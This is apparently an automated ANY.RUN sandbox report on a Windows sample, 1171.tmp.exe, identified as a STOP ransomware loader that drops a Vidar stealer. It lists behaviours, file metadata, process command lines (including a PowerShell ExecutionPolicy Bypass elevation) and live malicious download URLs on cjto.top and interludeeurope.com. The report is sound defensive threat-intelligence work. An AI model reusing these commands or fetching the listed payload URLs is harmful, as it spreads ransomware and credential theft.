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File name:

1171.tmp.exe

Full analysis: https://app.any.run/tasks/4cee1b2c-d0f9-49c7-9941-47c10670a824
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: July 13, 2020, 06:05:13
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
ransomware
stop
loader
stealer
vidar
evasion
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

07566FB66073ABAFBD438F08FA1C7245

SHA1:

E73EED815412A3CB1929ADD64B3BA7639006EB2E

SHA256:

6EB60AF3C1F6688FEE7286B384FD107552BDF95DC951101DF4A1D4F861623134

SSDEEP:

12288:GowoJUvqu4QyxhX3dEclUYbxNVh/hSu62:twtqu4QyjXtDUYbRNQu

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes the autorun value in the registry

      • 1171.tmp.exe (PID: 3180)

    • Loads the Task Scheduler COM API

      • 1171.tmp.exe (PID: 3180)
      • 1171.tmp.exe (PID: 564)

    • STOP was detected

      • 1171.tmp.exe (PID: 564)

    • Application was dropped or rewritten from another process

      • updatewin1.exe (PID: 2520)
      • updatewin1.exe (PID: 3344)
      • updatewin2.exe (PID: 3588)
      • 5.exe (PID: 3516)

    • Writes to the hosts file

      • updatewin2.exe (PID: 3588)

    • Modifies hosts file to block updates

      • updatewin2.exe (PID: 3588)

    • Disables Windows Defender

      • updatewin1.exe (PID: 2520)

    • Downloads executable files from the Internet

      • 1171.tmp.exe (PID: 564)
      • 5.exe (PID: 3516)

    • Task Manager has been disabled (taskmgr)

      • updatewin1.exe (PID: 2520)

    • VIDAR was detected

      • 5.exe (PID: 3516)

    • Loads dropped or rewritten executable

      • 5.exe (PID: 3516)

    • Actions looks like stealing of personal data

      • 5.exe (PID: 3516)

    • Stealing of credential data

      • 5.exe (PID: 3516)

    • Changes settings of System certificates

      • 1171.tmp.exe (PID: 564)
      • 1171.tmp.exe (PID: 3180)

  • SUSPICIOUS

    • Reads Internet Cache Settings

      • 1171.tmp.exe (PID: 3180)
      • 1171.tmp.exe (PID: 564)
      • 5.exe (PID: 3516)

    • Uses ICACLS.EXE to modify access control list

      • 1171.tmp.exe (PID: 3180)

    • Executable content was dropped or overwritten

      • 1171.tmp.exe (PID: 3180)
      • 1171.tmp.exe (PID: 564)
      • 5.exe (PID: 3516)

    • Application launched itself

      • 1171.tmp.exe (PID: 3180)
      • updatewin1.exe (PID: 3344)
      • powershell.exe (PID: 1764)

    • Executes PowerShell scripts

      • updatewin1.exe (PID: 2520)
      • powershell.exe (PID: 1764)

    • Creates files in the user directory

      • powershell.exe (PID: 2172)
      • powershell.exe (PID: 1764)
      • powershell.exe (PID: 3352)
      • 5.exe (PID: 3516)

    • Starts CMD.EXE for commands execution

      • updatewin1.exe (PID: 2520)
      • 5.exe (PID: 3516)

    • Creates files in the program directory

      • 5.exe (PID: 3516)

    • Reads the cookies of Google Chrome

      • 5.exe (PID: 3516)

    • Reads the cookies of Mozilla Firefox

      • 5.exe (PID: 3516)

    • Checks for external IP

      • 5.exe (PID: 3516)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 2944)

    • Adds / modifies Windows certificates

      • 1171.tmp.exe (PID: 564)
      • 1171.tmp.exe (PID: 3180)

  • INFO

    • Reads settings of System Certificates

      • 1171.tmp.exe (PID: 3180)
      • 1171.tmp.exe (PID: 564)

    • Dropped object may contain Bitcoin addresses

      • 1171.tmp.exe (PID: 564)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (42.2)
.exe | Win64 Executable (generic) (37.3)
.dll | Win32 Dynamic Link Library (generic) (8.8)
.exe | Win32 Executable (generic) (6)
.exe | Generic Win/DOS Executable (2.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2019:07:18 16:45:21+02:00
PEType: PE32
LinkerVersion: 9
CodeSize: 48128
InitializedDataSize: 9329664
UninitializedDataSize: -
EntryPoint: 0x436d
OSVersion: 5
ImageVersion: -
SubsystemVersion: 5
Subsystem: Windows GUI
FileVersionNumber: 1.0.0.1
ProductVersionNumber: 1.0.0.1
FileFlagsMask: 0x006f
FileFlags: Pre-release, Patched
FileOS: Unknown (0x40304)
ObjectFileType: Static library
FileSubtype: -
LanguageCode: Chinese (Simplified)
CharacterSet: Unicode
InternalSurnames: dhrj.uxe
Copyright: Copyrighd (C) 2020, odhsjv
ProductionVersion: 1.0.4.8

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 18-Jul-2019 14:45:21
Detected languages:
  • Chinese - PRC
InternalSurnames: dhrj.uxe
Copyright: Copyrighd (C) 2020, odhsjv
ProductionVersion: 1.0.4.8

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000E0

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 4
Time date stamp: 18-Jul-2019 14:45:21
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x0000BA69
0x0000BC00
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.63998
.rdata
0x0000D000
0x00002DD8
0x00002E00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.28825
.data
0x00010000
0x008D8618
0x00095E00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
7.93219
.rsrc
0x008E9000
0x000043A8
0x00004400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.6043

Resources

Title
Entropy
Size
Codepage
Language
Type
1
3.35514
428
UNKNOWN
UNKNOWN
RT_VERSION
2
4.3849
1384
UNKNOWN
UNKNOWN
RT_ICON
3
5.7053
9640
UNKNOWN
UNKNOWN
RT_ICON
4
7.04549
1128
UNKNOWN
UNKNOWN
RT_ICON
23
3.29005
1426
UNKNOWN
UNKNOWN
RT_STRING
24
3.15503
478
UNKNOWN
UNKNOWN
RT_STRING
25
3.11399
476
UNKNOWN
UNKNOWN
RT_STRING
121
2.75638
62
UNKNOWN
UNKNOWN
RT_GROUP_ICON

Imports

KERNEL32.dll
WINHTTP.dll
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
55
Monitored processes
14
Malicious processes
6
Suspicious processes
1

Behavior graph

Click at the process to see the details
drop and start start drop and start drop and start drop and start 1171.tmp.exe icacls.exe no specs #STOP 1171.tmp.exe updatewin1.exe no specs updatewin1.exe no specs updatewin2.exe no specs powershell.exe no specs powershell.exe no specs #VIDAR 5.exe powershell.exe no specs mpcmdrun.exe no specs cmd.exe no specs cmd.exe no specs taskkill.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3180"C:\Users\admin\AppData\Local\Temp\1171.tmp.exe" C:\Users\admin\AppData\Local\Temp\1171.tmp.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2144icacls "C:\Users\admin\AppData\Local\f0e2fea9-e805-4956-b780-ff419578c585" /deny *S-1-1-0:(OI)(CI)(DE,DC)C:\Windows\system32\icacls.exe—1171.tmp.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
564"C:\Users\admin\AppData\Local\Temp\1171.tmp.exe" --Admin IsNotAutoStart IsNotTaskC:\Users\admin\AppData\Local\Temp\1171.tmp.exe
1171.tmp.exe
User:
admin
Integrity Level:
HIGH
3344"C:\Users\admin\AppData\Local\456280af-fc6f-4b7c-a245-f942ce39dae9\updatewin1.exe" C:\Users\admin\AppData\Local\456280af-fc6f-4b7c-a245-f942ce39dae9\updatewin1.exe—1171.tmp.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
2520"C:\Users\admin\AppData\Local\456280af-fc6f-4b7c-a245-f942ce39dae9\updatewin1.exe" --AdminC:\Users\admin\AppData\Local\456280af-fc6f-4b7c-a245-f942ce39dae9\updatewin1.exe—updatewin1.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
3588"C:\Users\admin\AppData\Local\456280af-fc6f-4b7c-a245-f942ce39dae9\updatewin2.exe" C:\Users\admin\AppData\Local\456280af-fc6f-4b7c-a245-f942ce39dae9\updatewin2.exe—1171.tmp.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
2172powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSignedC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—updatewin1.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1764powershell -NoProfile -ExecutionPolicy Bypass -Command "& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File ""C:\Users\admin\AppData\Local\script.ps1""' -Verb RunAs}"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—updatewin1.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3516"C:\Users\admin\AppData\Local\456280af-fc6f-4b7c-a245-f942ce39dae9\5.exe" C:\Users\admin\AppData\Local\456280af-fc6f-4b7c-a245-f942ce39dae9\5.exe
1171.tmp.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
3352"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File "C:\Users\admin\AppData\Local\script.ps1 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
6 676
Read events
1 734
Write events
0
Delete events
0

Modification events

No data
Executable files
16
Suspicious files
10
Text files
13
Unknown types
6

Dropped files

PID
Process
Filename
Type
31801171.tmp.exeC:\Users\admin\AppData\Local\Temp\CabECE2.tmp —
MD5:—
SHA256:—
31801171.tmp.exeC:\Users\admin\AppData\Local\Temp\TarECE3.tmp —
MD5:—
SHA256:—
31801171.tmp.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\78RFYB7Z\geo[1].json —
MD5:—
SHA256:—
5641171.tmp.exeC:\Users\admin\AppData\Local\Temp\Cab3D5.tmp —
MD5:—
SHA256:—
5641171.tmp.exeC:\Users\admin\AppData\Local\Temp\Tar3D6.tmp —
MD5:—
SHA256:—
5641171.tmp.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\78RFYB7Z\geo[1].json —
MD5:—
SHA256:—
5641171.tmp.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\78RFYB7Z\get[1].htm —
MD5:—
SHA256:—
5641171.tmp.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\78RFYB7Z\updatewin1[1].exe —
MD5:—
SHA256:—
5641171.tmp.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\78RFYB7Z\updatewin2[1].exe —
MD5:—
SHA256:—
2172powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SBNWGS5WMDFTEW8UT0E3.temp —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
17
TCP/UDP connections
12
DNS requests
6
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
564
1171.tmp.exe
GET
404
188.68.221.29:80
http://cjto.top/files/penelop/updatewin.exe
RU
html
225 b
malicious
564
1171.tmp.exe
GET
200
188.68.221.29:80
http://cjto.top/sgfjsgdfgsgddagdpen4/get.php?pid=2485E9F082250E269EA0EF635E0D382D&first=true
RU
text
560 b
malicious
564
1171.tmp.exe
GET
200
188.68.221.29:80
http://cjto.top/files/penelop/updatewin1.exe
RU
executable
272 Kb
malicious
564
1171.tmp.exe
GET
404
188.68.221.29:80
http://cjto.top/files/penelop/3.exe
RU
html
217 b
malicious
564
1171.tmp.exe
GET
200
188.68.221.29:80
http://cjto.top/files/penelop/updatewin2.exe
RU
executable
274 Kb
malicious
564
1171.tmp.exe
GET
404
188.68.221.29:80
http://cjto.top/files/penelop/4.exe
RU
html
217 b
malicious
3180
1171.tmp.exe
GET
200
151.139.128.14:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEH1bUSa0droR23QWC7xTDac%3D
US
der
727 b
whitelisted
3516
5.exe
GET
200
176.123.8.59:80
http://interludeeurope.com/mozglue.dll
MD
executable
133 Kb
malicious
564
1171.tmp.exe
GET
200
188.68.221.29:80
http://cjto.top/files/penelop/5.exe
RU
executable
441 Kb
malicious
3516
5.exe
GET
200
176.123.8.59:80
http://interludeeurope.com/freebl3.dll
MD
executable
326 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
188.68.221.29:80
cjto.top
Maginfo JSC
RU
malicious
3180
1171.tmp.exe
151.139.128.14:80
ocsp.usertrust.com
Highwinds Network Group, Inc.
US
suspicious
3180
1171.tmp.exe
77.123.139.189:443
api.2ip.ua
Volia
UA
unknown
564
1171.tmp.exe
188.68.221.29:80
cjto.top
Maginfo JSC
RU
malicious
3516
5.exe
176.123.8.59:80
interludeeurope.com
Alexhost Srl
MD
malicious
564
1171.tmp.exe
77.123.139.189:443
api.2ip.ua
Volia
UA
unknown
3516
5.exe
208.95.112.1:80
ip-api.com
IBURST
—
malicious

DNS requests

Domain
IP
Reputation
api.2ip.ua
  • 77.123.139.189
shared
ocsp.usertrust.com
  • 151.139.128.14
whitelisted
cjto.top
  • 188.68.221.29
malicious
interludeeurope.com
  • 176.123.8.59
malicious
ip-api.com
  • 208.95.112.1
shared

Threats

PID
Process
Class
Message
—
—
A Network Trojan was detected
ET POLICY External IP Address Lookup DNS Query
—
—
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
564
1171.tmp.exe
A Network Trojan was detected
ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer)
564
1171.tmp.exe
A Network Trojan was detected
ET TROJAN Potential Dridex.Maldoc Minimal Executable Request
564
1171.tmp.exe
A Network Trojan was detected
ET CURRENT_EVENTS SUSPICIOUS Firesale gTLD EXE DL with no Referer June 13 2016
564
1171.tmp.exe
Potentially Bad Traffic
ET INFO HTTP Request to a *.top domain
564
1171.tmp.exe
A Network Trojan was detected
ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer)
564
1171.tmp.exe
A Network Trojan was detected
RANSOMWARE [PTsecurity] Stop
564
1171.tmp.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
564
1171.tmp.exe
Misc activity
ET INFO Possible EXE Download From Suspicious TLD
5 ETPRO signatures available at the full report
No debug info
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Reports
1171.tmp.exe